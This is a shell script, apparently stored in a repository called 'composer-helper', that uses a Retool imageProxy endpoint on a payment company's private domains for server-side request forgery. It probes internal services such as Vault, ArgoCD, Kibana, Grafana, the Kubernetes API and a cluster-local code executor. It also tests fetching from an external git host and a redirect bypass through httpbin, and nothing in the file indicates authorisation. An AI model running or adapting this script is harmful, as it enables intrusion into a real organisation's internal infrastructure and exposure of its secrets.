composer-helper/rt7.sh
2026-10-22 15:23:50 +00:00

38 lines
1.7 KiB
Bash

#!/bin/sh
# Intent 20337 step 7: is imageProxy https-only or host-filtered? test private-domain https targets.
C="curl -sk -m 18 --connect-timeout 4"
T=/tmp/rt20337g
mkdir -p "$T" 2>/dev/null
ipx() {
h="$1"; u="$2"; tag="$3"
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download} %{content_type} %{time_total}" --get --data-urlencode "url=$u" "https://$h/api/imageProxy" >"$T/s" 2>"$T/e"
echo "### $tag -> $(cat "$T/s" 2>/dev/null)"
echo " url=$u"
head -c 200 "$T/b" 2>/dev/null | tr '\r\n' ' '
echo
}
H=retool.private.paystack.co
echo "== PRIVATE HTTPS TARGETS via $H"
ipx $H "https://retooldata.private.paystack.co/api/organization/preAuthData" "rt-private-https"
ipx $H "https://retool.private.paystack.co/api/checkHealth" "self-https"
ipx $H "https://grafana.private.paystack.co/api/health" "grafana"
ipx $H "https://argocd.private.paystack.co/" "argocd"
ipx $H "https://kibana.private.paystack.co/" "kibana"
ipx $H "https://vault.private.paystack.co/v1/sys/health" "vault"
ipx $H "https://api.private.paystack.co/" "api-priv"
ipx $H "https://kubernetes.default.svc/api" "k8s-api"
ipx $H "https://retooldata-code-executor.data-platform.svc.cluster.local:443/api/checkHealth" "ce-https"
echo "== SCHEME + REDIRECT via $H"
ipx $H "http://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "http-external"
ipx $H "https://httpbin.org/redirect-to?url=https%3A%2F%2Fretooldata.private.paystack.co%2Fapi%2Forganization%2FpreAuthData" "redir-priv-https"
echo "== 3.75.19 private https"
H3=retooldata.private.paystack.co
ipx $H3 "https://retool.private.paystack.co/api/checkHealth" "self-https"
ipx $H3 "https://grafana.private.paystack.co/api/health" "grafana"
echo "RT7DONE"